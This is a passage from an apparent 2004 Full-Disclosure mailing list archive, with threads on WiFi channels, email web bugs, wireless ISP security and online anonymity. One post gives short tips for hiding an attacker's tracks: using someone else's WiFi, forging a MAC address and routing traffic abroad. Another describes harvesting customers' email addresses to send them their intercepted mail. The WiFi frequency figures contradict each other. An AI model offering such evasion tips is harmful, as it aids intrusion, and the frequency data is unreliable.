  [7]  http://www.openpkg.org/tutorial.html#regular-binary
  [8]  ftp://ftp.openpkg.org/release/1.3/UPD/apache-1.3.28-1.3.3.src.rpm
  [9]  ftp://ftp.openpkg.org/release/2.0/UPD/apache-1.3.29-2.0.1.src.rpm
  [10] ftp://ftp.openpkg.org/release/1.3/UPD/
  [11] ftp://ftp.openpkg.org/release/2.0/UPD/
  [12] http://www

Re: [Full-Disclosure] CHANNEL FREQ'S

[Bernie, CTA]

On 12 May 2004 at 7:27, Tyler, Grayling wrote:
> Geqqam69200,
> 
> I've seen a few people refer to the lower 6 channels of wireless
> as operating in the Ham freq. spectrum.  I am a bit confused
> where this is coming from as 802.11b operates in the ISM
> (Industrial Scientific and Medical) band.  This band (~2.4 GHz)
> is used by 802.11b to transmit using spread spectrum signals so
> technically speaking all channels are sent in the same frequency
> band.  I have always been under the impression that the channels
> simply referred to the code necessary to retrieve the spread
> spectrum signal sent. 
<<<
This is not true. 802.11b uses the unlicensed 2.4 GHz band which 
in the US ranges from 2.410 to 2.4510 GHZ. This band, in the US, 
is divided into 11 channels, each rooted on its own center 
frequency with overlapping sidebands. i.e

Channel 1 = 2.4010 (Bottom) 2.4120 (Center) 2.4230 Top
Channel 2 = 2.4060 (Bottom) 2.4170 (Center) 2.4280 Top
Channel 3 = 2.4110 (Bottom) 2.4220 (Center) 2.4330 Top
Channel 4 = 2.4160 (Bottom) 2.4270 (Center) 2.4380 Top
Channel 5 = 2.4210 (Bottom) 2.4320 (Center) 2.4430 Top
Channel 6 = 2.4260 (Bottom) 2.4370 (Center) 2.4480 Top
Channel 7 = 2.4310 (Bottom) 2.4420 (Center) 2.4530 Top
Channel 8 = 2.4360 (Bottom) 2.4470 (Center) 2.4580 Top
Channel 9 = 2.4410 (Bottom) 2.4520 (Center) 2.4630 Top
Channel 10 = 2.4460 (Bottom) 2.4570 (Center) 2.4680 Top
Channel 11 = 2.4510 (Bottom) 2.4620 (Center) 2.4730 Top

 
> If I'm wrong in my assumptions I'd like to become more educated.
> To that end I'd appreciate you (or anyone) posing the reference
> stipulating that the lower channels are in the Ham frequency
> spectrum while the others are not.  
> 
> Thanks
<<<
Well, under FCC part 74 "Broadcast Auxiliary",  ENG or 
Electronic News Gathering video links overlap 802.11b channels 
in the range of 2.450 - 2.467 GHz, and;

There are aviation services operating pursuant to FCC part 87 in 
the range of 470 MHz - 2.450 GHz which overlap 802.11b channels, 
and;

Under FCC rule part 90, licensed Land Mobile Radio services 
frequencies overlap 802.11b channels in the range 2.450 - 2.483 
GHz, and;

Amateur Radio frequencies under FCC Part 97  overlap 802.11b 
over the range 2.390 - 2.450 GHz which involve channels 7,8,9 
and 10, and;

There is also an overlap under FCC part 101 for licensed LTTS 
and POFS services which range over 2.450 - 2.5 GHz, and channels 
9 and 10 of 802.11b, and 

Finally, the US Government under NTIA/IRAC clause, the US Gov 
can use the entire range allocated to 802.11 for what it dubs 
radiolocation or radionavigation uses, blasting high levels of  
EIRP.

Bottom line is that spectrum is full of noise and one must learn 
to talk to loud yet find a way to punch through.
 
-





--

Bernie / [EMAIL PROTECTED]
Chief Technology Architect / Chief Security Officer
Euclidean Systems, Inc.
***
// "There is no expedient to which a man will not go 
//to avoid the pure labor of honest thinking."   
// Honest thought, the real business capital.
//  Observe> Think> Plan> Think> Do> Think>  
***


___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] leaking

[Felipe Angoitia]

>Sounds like a good reason to *not* use certain MUAs to me.  Your choice,
>after all.
Not really, my entreprise choice in this concrete case. 
And which MUA to use is not the matter now I think.

bye

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] Victory day - Sasser surrenders

[Rob Clark]

Thankx
On Tue, 11 May 2004 15:34:19 +0100
Rob Clark <[EMAIL PROTECTED]> wrote:

> 
> 193.x.x.x isnt internal,,, is it?
> > 
> > 
> > --On Monday, May 10, 2004 12:16 PM +0200 fd <[EMAIL PROTECTED]> wrote:
> > 
> > > I'd remove something from the mailer:
> > >   Received: from [192.168.195.2] ([193.7.145.26])
> > 
> > Why? Not all of us care about disclosing "internal" IP addresses. :)
> > 
> > -J
> > 
> > 
> > --
> > Jeff Workman | http://www.pimpworks.org/nigritude-ultramarine.html
> > 
> > ___
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.netsys.com/full-disclosure-charter.html
> > 
> > 
> 
> 
> -- 
> This email may contain confidential and privileged information for the
> sole use of the intended recipient. Any review or distribution by others
> is strictly prohibited. If you are not the intended recipient, please
> contact the sender and delete all copies of this email message.
> 
> 
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
> 
> 


-- 
This email may contain confidential and privileged information for the
sole use of the intended recipient. Any review or distribution by others
is strictly prohibited. If you are not the intended recipient, please
contact the sender and delete all copies of this email message.


___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] leaking

[Marek Isalski]

>>> Dave Horsfall <[EMAIL PROTECTED]> 12/05/2004 13:13:07 >>>
> Unless you have a cryptographically-secure way of generating new email
> addresses, you will not have proved anything.

One of the interesting things I did when tweaking something on a website was to 
include a piece of code which does exactly that.

Each visitor is given a different email address.  It's made up of their IP address, 
the Unix time and a partial hash value, encrypted with a private Serpent-256 key.

Decrypting those addresses has been interesting.

Regards,

Marek Isalski
Software Support and Data Security Manager
Software Support, IT Projects, Directorate of Health Informatics
Wythenshawe Hospital, South Manchester University Hospitals NHS Trust


___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] leaking

[Alerta Redsegura]

Are you going to tell me you didn't see this ad in your 
MUA?Then, it doesn´t render HTML!Since the 
ignomious "web bug" is only a simple plain vainilla ad contained in all messages 
sent from Rediffmail, a web based mail service.
 
 
Iñigo KochRed Segura
 
 
 
 -Mensaje 
original-De: [EMAIL PROTECTED][mailto:[EMAIL PROTECTED]]En 
nombre de DaveHorsfallEnviado el: miércoles 12 de mayo de 2004 
5:49Para: Full Disclosure ListAsunto: Re: [Full-Disclosure] 
leakingOn Wed, 12 May 2004, Felipe Angoitia wrote:> Hi 
abhilash verma and the rest...  Why do you include this in your> 
mails? tracking full-disclosure readers which use html rendering 
muas?Sounds like a good reason to *not* use certain MUAs to me.  
Your choice,after all.Hint: my MUA renders HTML.  It does *not* 
fetch web-bugs etc.-- 
Dave___Full-Disclosure - 
We believe in it.Charter: http://lists.netsys.com/full-disclosure-charter.html 

Re: [Full-Disclosure] leaking

[KUIJPERS Jimmy]

Why a "cryptographically-secure way of generating new email" ??

I will just use a clean installation of an e-mail client and configure it with a 
freshly created e-mail account. (not a free one,
but from my ISP so I know it won't be targeted by spam senders already).

Then in that e-mail account I will open the e-mail message and "render the html", 
letting the sender know my e-mail address exists.

I see no reason whatsoever why I should generate the e-mail address in a cryptographic 
manner... .whatever that may mean (since when
do we create an email address via a "cryptographically-secure" way and what is the 
relevance?

There is no way for the sender of the mail to know whether or not my created e-mail 
address is part of the FD list or not since they
are not disclosed, if that's your concern.

Sorry if I'm totally missing the obvious or something, but I don't understand your 
point.


Regards,
Jimmy

Dave Horsfall wrote:

> On Wed, 12 May 2004, KUIJPERS Jimmy wrote:
>
> > I will open the e-mail with a mail client with a new e-mail address
> > (when I get home tonight) and see how much spam I will receive. I will
> > give a report when I receive some significant spam or if I have not
> > received any spam for days and days.
>
> Unless you have a cryptographically-secure way of generating new email
> addresses, you will not have proved anything.
>
> -- Dave
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] Wireless ISPs

[Ron DuFresne]

[SNIP]

>
>
> all I am after is raising the level of knowledge
> needed to access the data beyond that of an 8 year old
> with windows on a laptop running netstumbler and a
> wifi card
>
> do u not agree this would be prudent ?
>

Wireless products, as is most often the case with new technology in our
field, was rushed to market with poorly designed and thought out security
measures.  This is a common practise, and money maker.  Wep as a bad
design, Wap not much better.  So, as with the wired realm, we shim and
refurbish to make things tighter and a tad more controled.  There is
better coming down the wireless toys pipeline, now that rethinking flawd
methodolgies has had time to understand the issues.

Will the 'better' that is soon to be coming be enough?  Time will
certainly tell and test.

Now as it pertains to wireless ISP's, the problems are not much different
then was witnessed not long ago in the cable realm, whence people were
able to scarf up all sorts of traffic from the shared media, and in some
cases spoof and play as a neighbor, or wreck havoc upon their neighbors.
The cable folks woke up and learned to isolate some aspeacts of their
network layout to help limit and prevent some of the most blatant.  So,
yes, wireless ISP providers should and certainly will be woked up to the
issues they have.   Prudent is perhaps a good term here, as in prudent for
their own best interests, let alone for their clients and client retention
and avoiding legal hassles along the line of due dilligence.

Thanks,

Ron DuFresne
~~
"Cutting the space budget really restores my faith in humanity.  It
eliminates dreams, goals, and ideals and lets us get straight to the
business of hate, debauchery, and self-annihilation." -- Johnny Hart
***testing, only testing, and damn good at it too!***

OK, so you're a Ph.D.  Just don't touch anything.

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] leaking

[Valdis . Kletnieks]

On Wed, 12 May 2004 15:38:47 +0200, Felipe Angoitia <[EMAIL PROTECTED]>  said:
> >Sounds like a good reason to *not* use certain MUAs to me.  Your choice,
> >after all.
> Not really, my entreprise choice in this concrete case. 
> And which MUA to use is not the matter now I think.

All the major MUA's except one are for the most part free of
"you have to use it because corporate says so" issues - Eudora can talk
to Mutt and Mutt can talk to Mozilla's mua and Mozilla can talk to...
And quite frankly, unless the MUA includes a groupware component
that doesn't talk a standardized open protocol, it doesn't matter
what you use.

Given the recent Novell announcement regarding the GPL'ing of
Evolution Connector, there's little to no excuse for using the
remaining one.

You Lotus Notes users are on your own, however. ;)


pgp0.pgp
Description: PGP signature

RE: [Full-Disclosure] Calcuating Loss

[Frank Knobbe]

On Wed, 2004-05-12 at 10:56, Schmidt, Michael R. wrote:
> Well one of the biggest issues that allows people to remain anonymous
> is DHCP.  If everyone on the internet was required to get a static IP
> address, or to log which IP they were using - using a secure
> technology then everyone could be tracked,

Wrong again. As you said, dial-in users can be traced by phone number
(unless they hop through hacked PBXes). Cable users can be traced by MAC
address, DSL providers probably by switch port and/or MAC.

"Your" ISP can track you from IP to MAC or dial-in port to your
credentials. But if you jump through 20 open proxies, the person/site
that you are attacking will have a hard time finding you (and your IP
address). 

So in essence, the biggest issue that allows people to remain anonymous
are open proxies and zombie PCs. And I don't think we'll ever get rid of
those.

Regards,
Frank



signature.asc
Description: This is a digitally signed message part

Re: [Full-Disclosure] Wireless ISPs

[Ron DuFresne]

[SNIP}

>
> Apparently the users don't care, so why should we?
>

to CYA.  And if you provide the means and the info to users on how to use
something that is 'safer'  and they then do not follow the
advice and end up in a deep hole with a shovel tunneling deeper, you are
protected  if and when someone talks to their legal
beagle.

Thanks,

Ron DuFresne
~~
"Cutting the space budget really restores my faith in humanity.  It
eliminates dreams, goals, and ideals and lets us get straight to the
business of hate, debauchery, and self-annihilation." -- Johnny Hart
***testing, only testing, and damn good at it too!***

OK, so you're a Ph.D.  Just don't touch anything.

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] leaking

[Felipe Angoitia]

>Given the recent Novell announcement regarding the GPL'ing of
>Evolution Connector, there's little to no excuse for using the
>remaining one.

When my distro gets out evolution packages with the the connector
included I'll give it a chance but until so I must use
vmware+w2k+outlook to access our company exchange2003 shit.
Btw I dont like evolution nor kmail because they are too bloat, sylpheed
rules!

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] leaking

[Alerta Redsegura]

I am really 
curious to know how you can collect e-mail 
addresses from a plain image fed from a website shown on an 
e-mail.  
 
 
IP, 
yes.  User-agent, yes.  But e-mail 
addresses???
 
 
 
The beatch is probably collecting our addresses for spam. 
Definition:  
beatch = a bi**h lying on a beach.  :-)
 
 
 
Iñigo KochRed 
Segura
 
 

[Full-Disclosure] Microsoft SP2 code demos for developers

[Helmut Hauser]

Microsoft provides Windows XP Service Pack 2 Code Demos for developers to
prepare for SP2 changes:

http://www.microsoft.com/downloads/details.aspx?FamilyID=f87cf701-4e68-4e9e-ade5-59d4d40d8e23&DisplayLang=en

Helmut Hauser

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] Calcuating Loss

[Schmidt, Michael R.]

Well one of the biggest issues that allows people to remain anonymous is DHCP.  If 
everyone on the internet was required to get a static IP address, or to log which IP 
they were using - using a secure technology then everyone could be tracked, sure a few 
"super" hackers could still manage to escape detection I am sure, but there is nothing 
that is the equivalent of a drivers license on the internet.

Sure there would still be criminals using stolen credentials, but IPs are handed out 
based on location or where you dialed in from. Dialing in can be traced using caller 
ID, wireless by IP and base station proximity, so just like today, people would have a 
alibi for the time and place the criminal used their identity.

What we need is something that you have to log into (securely) or your DHCP is revoked 
immediately.  And of course static IPs are well, static and since they are routed, 
routes can be logged and therefore trackable.

So again it is anonymity that causes most of the grief.  If all code had to be signed, 
then you'd know who wrote it, and running unsigned code would be your own stupid fault.

If you replace a part on some new cars with a non-manufacturers part, you void the 
warranty.  But when you run unsigned downloaded for free or sent through email code on 
your dell, who do you call and expect to fix it when it stops working?  The end user 
is the moron, we require no test to get on the internet and yet we let more people 
anonymously sign on the net everyday.

-Original Message-
From: Alexander Schreiber [mailto:[EMAIL PROTECTED]
Sent: Tuesday, May 11, 2004 10:34 PM
To: Schmidt, Michael R.
Cc: 'Frank Knobbe'; [EMAIL PROTECTED]; Full-Disclosure
Subject: Re: [Full-Disclosure] Calcuating Loss

On Tue, May 11, 2004 at 03:02:30PM -0700, Schmidt, Michael R. wrote:
> I think that part of the evolution is to lock people who create these
> things up for a *very* long time.  It will deter the script kittens
> when they start to find that their computers are confiscated and their
> parents homes are sold to pay for the "loss" incurred by there
> stupidity.  The real black hats will be deterred when 20 FBI/CIA whoever
> agents drag them from their homes at gunpoint with the handcuffs tight
> around there wrists.

Dead wrong. All this will accomplish is the any malware author will just
be one hell of a lot more careful to avoid getting caught. It might even
accelerate another trend: malware by script kiddies who goes down,
malware by real criminals (who use/sell the infected machines as spam
relays, DDoS zombies (nice extortion tool, already used), ...) will go
up. Net result: you ruined the live of a few foolish kids and their
entire family, but you still don't get the (much more dangerous)
professional criminals. Achievement for network security: NIL.

> The consequences need to be severe enough.  In order to accomplish that
> our infrastructure has got to support the basic ability to find people
> who cause problems.  Anonymity is not an option.

Ever heard of identity theft? In the same way that the less stupid
criminals don't use their own private cars but stolen ones for
committing crimes, criminal malware authors will just use
computers/accounts whose access credentials were stolen. You end up
investigating a fool who got his access credentials stolen, but probably
didn't do anything else. And you still have to find the real guy ...

We really should take a lesson from the real world here: valuable
property (like big bags full of money) are not usually left out on the
kitchen table and only protected by strong penalties for anyone
wandering in and grabbing a few - if you tried to rely on this, police and
insurance would laugh you out of town. Instead, valueable physical
property is protected by serious physical means of protection (like
putting your bags full of cash into a big, heavy, unmovable safe) _and_
legislation to punish the few serious criminals who still manage to
steal some.

The way to protect digital infrastructure from the destructive effects
of malware is to harden the infrastructure itself. Don't use insecure
operating systems and hope that the 'patch of the day' will keep the
malware out - because it won't. Don't use sloppily coded, insecure
software on hope nothing bad will happen because nobody will find out
how to exploit the flaws - because somebody will find out and exploits
will happen. Don't build insecure networks and hope nobody will abuse
them because nobody knows what a mess it is - because somebody will
abuse them.

In short: Don't build a house of cards and then try to outlaw the wind,
build a house of stone and enjoy the fresh air.

Yes, there are things that are very hard or practically impossible to
guard against (DoS comes to mind), but practically all malware problems
are due to avoidable failures: insecure configurations (like executing
untrusted code from unknown sources by default), coding errors that
could be avoided by using proper tools (li

Re: [Full-Disclosure] Wireless ISPs

[Mister Coffee]

On Tue, May 11, 2004 at 10:27:09PM -0700, D B wrote:
> erm
> 
> merchant = https order from and there to a secure mail
> serverand from there to the ISPs insecure ...oops
> there goes all that SSL
> 
Dan, as a couple of people (myself included) have pointed out, you're dealing with two 
separate issues here.  Three, actually.

First: Secure transactions through a web interface 
Second: Cleartext replies to said transactions including sensitive data.
Third: Inherent insecurity on the Wireless leg of these transactions.

> and no i dont know for sure if the merchant had secure
> mail ..point being there it wouldnt matter if the ISP
> secured their email or wireless transmissions
>
Using "secure email" (SSL, etc., to connect to your mail server) only helps on that 
link.  While it will protect your login information, it won't protect the leakage of 
sensitive information you mentioned in your first post.  The only way to protect that 
would be to encrypt the email body or, vaslty better, have cluefullmerchants who don't 
send sensitive information back in the receipt.

Most don't.  Even most pronted receipts don't include all the numbers of your credit 
card any more - but some still do.  Few, but a number >1.
 
> and ill be damned if i prove i have someones credit
> card # this way .. in fact i deny even knowing this is
> possible 
>
I don't think that's an issue here, Dan.  But it's like the Fax example I mentioned in 
the first round.  There are legitimate ways to accidently acquire sensitive 
information - grabbing a piece of scratch paper from the "toss it" stack at the fax 
amchine that just happens to have someone's credit card number on it.
 
> this is all hypothetical
> 
> cept the part about the ISP not using any form of
> encryption anywhere
>
Most ISP's are operating on such thin margins that implementing wireless encryption is 
too painful for them.  I will note that a lot of ISP's offer secure conentions to 
their email servers, and all a user has to do is enable it in their client.

That they don't refects the fact that most users have the ID 10T flag set.
 
> 
> 
> >How about we hold the person responsible that
> >initially creates the
> >problem and not hand it off to someone who you
> already >seem to have a
> >vendetta against.
> 
> vendetta ?
> 
> k
> 
> thats it ...everyone pack up and go home
> 
> security is now a vendetta
> 
I think the thread's grown long and convoluted enough that people are only seeing 
parts of it.  Your original desire to make the local wireless ISP aware of the holes 
in their system has been lost.


> quit being retarded
> 
> this is a full blown ISP I tried to convince to use
> any form of encryption including  TLS / SSL email( the
> admin thinks simply using kismet is hacking ) ... i
> was ignored ( they do offer webhosting & mail services
> along with DSL & dialup.. they also  support many
> local businesses )
>
A noble effort, but probably a lost cause.  Either they're unaware of the risks, and 
seemingly don't want to become aware of them, or they have chosen to accept them.  In 
either case, it's not something you'll be able to force.  As long as the majority of 
their customers are happy, and they're running in the black, they'll stick with 
business as usual.
 
> http://www.effingham.net check them outfree
> internet at the intersection of I-57 and I-70 in IL
> 
> 
> when i posted the fact there was no protection for
> users  publicly ( on my own discussion board ) the ISP
> ( wireless ) accused me of harassment to my ISP ( i 
> hate talking to lawyers )
>
Sounds like a typical Fear reaction on their part, but I can't really comment since I 
haven't seen the thread.  Of course, having to protect 1st amendment rights against 
this kind of thing isn't something we want to go into here.
 
> i have now harvested several hundred client email
> addresses to whom i will be sending copies of their
> own email ( nothing else works so i suppose the direct
> approach should be tried )
>
That would be a Bad Thing (tm).  There is an anecdotal story about an employee at a 
medium/small company who'd been trying to make management aware of holes in their 
email system to no avail.  Eventually, he did essentially what you propose and was 
-arrested- for it.

It will certainly make people aware of the problem, yes.  But do you want to deal with 
the legal issues you'll bring down on your head?
 
> perhaps that will create  some awareness by DISCLOSING
> the facts to  endusers about the company trying to
> hide the fact their data is so easy to obtain
>
That's what public forums are for.
 
> are u aware of the definition of disclosure or are u a
> posing geek who likes to use big buzzwords and
> bullshit their way into something ?
>
Easy, Dan.  I've been following this thread since you first posted it and I'm 
surprised by the large number of replies.  There's a lot of information in these 
posts.  Some more relevant than others.  But the point is you've got people ta

RE: [Full-Disclosure] Locking up Internet Explorer

[Aditya, ALD [Aditya Lalit Deshmukh]]

> 
> \\test\test
> 
> It's just guessing you tried the wrong direction slashies.

no these slashes are alright this is the unc naming scheme where u can specify 
\\server\share\directory\filename regardless of the of the server is running netware 
or windows that is why it is called universal naming scheme (!what happened to unix? )


-aditya



Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com)

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] Calcuating Loss

[Gary E. Miller]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

Yo Frank!

On Wed, 12 May 2004, Frank Knobbe wrote:

> "Your" ISP can track you from IP to MAC or dial-in port to your
> credentials. But if you jump through 20 open proxies, the person/site
> that you are attacking will have a hard time finding you (and your IP
> address).

Too much work.  Just do a bit of wardriving until you find a WiFi net
you can jump on.  Just be sure to forge your MAC just in case someone is
in turn sniffing you locally.

Of course if you are doing something really nasty you should still probably
bounce your packets off several foreign countries first just to make it
fun.

RGDS
GARY
- ---
Gary E. Miller Rellim 20340 Empire Blvd, Suite E-3, Bend, OR 97701
[EMAIL PROTECTED]  Tel:+1(541)382-8588 Fax: +1(541)382-8676

-BEGIN PGP SIGNATURE-
Version: GnuPG v1.2.3 (GNU/Linux)

iD8DBQFAoleN8KZibdeR3qURAtbgAKDIeFxBSjH/D8ezNhrgHizA3zHxjQCeLVZv
L9BhgMl6vjLFglg6HR/+TWM=
=dMKB
-END PGP SIGNATURE-

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] Calcuating Loss

[Valdis . Kletnieks]

On Wed, 12 May 2004 08:56:25 PDT, "Schmidt, Michael R." said:

> What we need is something that you have to log into (securely) or your DHCP is
> revoked immediately.  And of course static IPs are well, static and since they
> are routed, routes can be logged and therefore trackable.

All fine and good.. However... there's this whole "enforcement" thing.  For
starters, the net is multinational - how do you *force* some user in Zimbabwe
to use your scheme?

I'll leave all the privacy issues to others - there's plenty of problems *there*
as well.

> If you replace a part on some new cars with a non-manufacturers part, you
> void the warranty.  But when you run unsigned downloaded for free or sent
> through email code on your dell, who do you call and expect to fix it when it
> stops working?  The end user is the moron, we require no test to get on the
> internet and yet we let more people anonymously sign on the net everyday.

You have to make a decision here - I may be willing to use an aftermarket part
and void my warranty, having made a decision that doing so was a good idea -
the aftermarket part may be vastly less expensive (I've replaced several pieces
of my car with junkyard salvage for $20 when the 3rd party part was $100 and
the original company's part was $160), or higher performance, and you decide
that it's worth voiding the warranty.

It's a totally different thing to legislate that replacing a part with a
non-vendor part is illegal - and that's what you'd have to do to make this
scheme fly.

When source code is outlawed, only outlaws will have source :)


pgp0.pgp
Description: PGP signature

Re: [Full-Disclosure] leaking

[Gary E. Miller]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

Yo Jimmy!

On Wed, 12 May 2004, KUIJPERS Jimmy wrote:

> I see no reason whatsoever why I should generate the e-mail address in a
>  cryptographic manner... .whatever that may mean (since when
> do we create an email address via a "cryptographically-secure" way and w
> hat is the relevance?

That is because spammers do not even bother to check for valid email
accounts anymore.  They run dictionaries of known usernames, millions
of them, against all know domains.  This is why Hotmail was so screwed up
last week.  Hundreds of emails to invalid email accounts for every valid
one.  Their poor server could not stand up to the load.

Someone asked me set up a new account "greg" on a lightly used domain
name.  His old email was getting too much spam and he figured that since
[EMAIL PROTECTED] had never been used he should be spam free.  So I
checked the email logs.  Several dictionary spamers had visited in the
last few days, sending millions of emails, with millions of usernames,
to a domain that never had more than 5 active usernames.  Guess what?
[EMAIL PROTECTED] was already being sent spam!  Also greg1@, greg2@,
greg3@, etc. were also being sent spam.  So changing his email to any of
those would only slow down his spam a little for a short while.

Unless you set up a test account with a big long random number there is
no hope that it is not already in one of these dictionaries.

RGDS
GARY
- ---
Gary E. Miller Rellim 20340 Empire Blvd, Suite E-3, Bend, OR 97701
[EMAIL PROTECTED]  Tel:+1(541)382-8588 Fax: +1(541)382-8676

-BEGIN PGP SIGNATURE-
Version: GnuPG v1.2.3 (GNU/Linux)

iD8DBQFAolOm8KZibdeR3qURAr6hAJ0WaaivNEfiuCgMwko4eIJSdCQe1gCfSDa4
9y3ERoqoXn653xveMxma6lQ=
=79d2
-END PGP SIGNATURE-

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] Registry Watcher

[Aditya, ALD [Aditya Lalit Deshmukh]]

> Pro (the pay-for version) has a TSR called AdWatch, that will alert to

TSR used to in DOS and they were good challange to program and when the TSRs worked it 
was time to  celebrate. in windows we only have processes which can be invisible 
minimized or normal state!


> entry is changed or created or deleted, AdWatch will alert you and give
> you the option to Accept or Deny.

this will be very bothersome because *all* the app write to the registry. is there an 
options like do not ask about this program again ?


-aditya



Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com)

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] iDEFENSE: Security Whitepaper on Trusted Computing Platforms

[Aditya, ALD [Aditya Lalit Deshmukh]]

> 
> speel? what do you want? Most people spell "speel" "spell" :)
> regards nico 

could we have these sort of mails offlist ? 



Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com)

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] Wireless ISPs

[Aditya, ALD [Aditya Lalit Deshmukh]]

> I do a great deal of wardriving in order to map out my coverage area. In
> doing this, I happen to get a lot of data captured. And a pretty good
> portion of the WEP-protected networks happen to get cracked by wepattack
> in under a minute. I don't even go back to see if I can snoop more of

the wireless isp should actually be using encrypted VPNs with IPSEC to add one more 
layer of security 


> with it. Thats why I use ssh, ssl, and tls for anything important.
> Encryption tools are free. Use them.

if people knew just how to use them the world would have been a much safer place 
already !
inst it ironic that the people cannot use the free tools also.

-aditya

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] leaking

[Duquette, John]

Unfortunately in a controlled environment it's not always possible to avoid
MUA's.  Novell's announcement is good news in any event.

However, if you do use outlook HTML mail can be disabled via a registry key.

Create

HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Outlook\Options\Mail\ReadAs
Plain

Set the DWORD value to 1

> -Original Message-
> From: [EMAIL PROTECTED] 
> [mailto:[EMAIL PROTECTED] On Behalf Of 
> [EMAIL PROTECTED]
> Sent: Wednesday, May 12, 2004 11:00 AM
> To: Felipe Angoitia
> Cc: Full Disclosure List
> Subject: Re: [Full-Disclosure] leaking 
> 
> 
> On Wed, 12 May 2004 15:38:47 +0200, Felipe Angoitia 
> <[EMAIL PROTECTED]>  said:
> > >Sounds like a good reason to *not* use certain MUAs to me.  Your 
> > >choice, after all.
> > Not really, my entreprise choice in this concrete case.
> > And which MUA to use is not the matter now I think.
> 
> All the major MUA's except one are for the most part free of 
> "you have to use it because corporate says so" issues - 
> Eudora can talk to Mutt and Mutt can talk to Mozilla's mua 
> and Mozilla can talk to... And quite frankly, unless the MUA 
> includes a groupware component that doesn't talk a 
> standardized open protocol, it doesn't matter what you use.
> 
> Given the recent Novell announcement regarding the GPL'ing of 
> Evolution Connector, there's little to no excuse for using 
> the remaining one.
> 
> You Lotus Notes users are on your own, however. ;)
> 

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] leaking?

[Aditya, ALD [Aditya Lalit Deshmukh]]

> Hi abhilash verma and the rest...
> Why do you include this in your mails? tracking full-disclosure readers which use 
> html
> rendering muas?
> 
> http://clients.rediff.com/signature/track_sig.asp";> SRC="http://ads.rediff.com/RealMedia/ads/adstream_nx.cgi/www.rediffmail.com/[EMAIL 
> PROTECTED]" 
> BORDER=0 VSPACE=0 HSPACE=0>
> 
> please explain us...


this is not included by them intentionally but by rediff.com a stupid free email site 
that does nothing but shove advertisements here and there. both the server are blocked 
on my lan. and all the html tags from the rediffmail are stripped at the smtp server 
itself. how do we get the rediff people to stop doing this ie stop them from adding 
graphic picture ads to every email being send out from their servers ?

-aditya





Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com)

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] Wireless ISPs

[D B]

--- Mister Coffee <[EMAIL PROTECTED]> wrote:

> Dan, as a couple of people (myself included) have
> pointed out, you're dealing with two separate issues
> here.  Three, actually.
> 
> First: Secure transactions through a web interface 
> Second: Cleartext replies to said transactions
> including sensitive data.
> Third: Inherent insecurity on the Wireless leg of
> these transactions.

this will be the last i post on the thread because as
u pointed out its degrading

when is the IT community going to realise the simple
fact offering a service over an integrated network
takes EVERYONE assuming responsibility for their own
segments

ill use an analagy of a bucket brigade putting out a
barnfire

what happens if one guy goes on a smoke break ?

it all breaks

same goes for the internet 

i see so many debates / discussion drop to petty "its
their fault" or "their responsibility"

how about stepping up to the plate and forcing others
to do the same

as to the part of me worrying about legal issues when
i email the customers  i am at a very liberating
period in life 

nothing to lose but freedom and its debatable i have
that .. i do live in the US

besides life is boring without raising a lil hell


Dan Becker




__
Do you Yahoo!?
Yahoo! Movies - Buy advance tickets for 'Shrek 2'
http://movies.yahoo.com/showtimes/movie?mid=1808405861 

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] My Signature

[Nico Golde]

Hi,
some of the people told me that my signature isn't correct.
for some people here it looks like this or simelarly:

Nico Golde | [EMAIL PROTECTED] | [EMAIL PROTECTED] | [EMAIL PROTECTED]
net
http://www.ngolde.de | GnuPG Key: http://www.ngolde.de/gpg/nico_golde.=
gpg
Fingerprint | FF46 E565 5CC1 E2E5 3F69 C739 1D87 E549 7364 7=
CFF=20
vim -c ":%s/^/WhfgTNabgureRIvzSUnpxreT-Tavba/|:%s/[R-T]/ /Ig|:normal
ggVG=
g?"

i dont know why it is so, because for me and some others it looks like
this:

Nico Golde| [EMAIL PROTECTED]  | [EMAIL PROTECTED] | [EMAIL 
PROTECTED]
http://www.ngolde.de  | GnuPG Key: http://www.ngolde.de/gpg/nico_golde.gpg
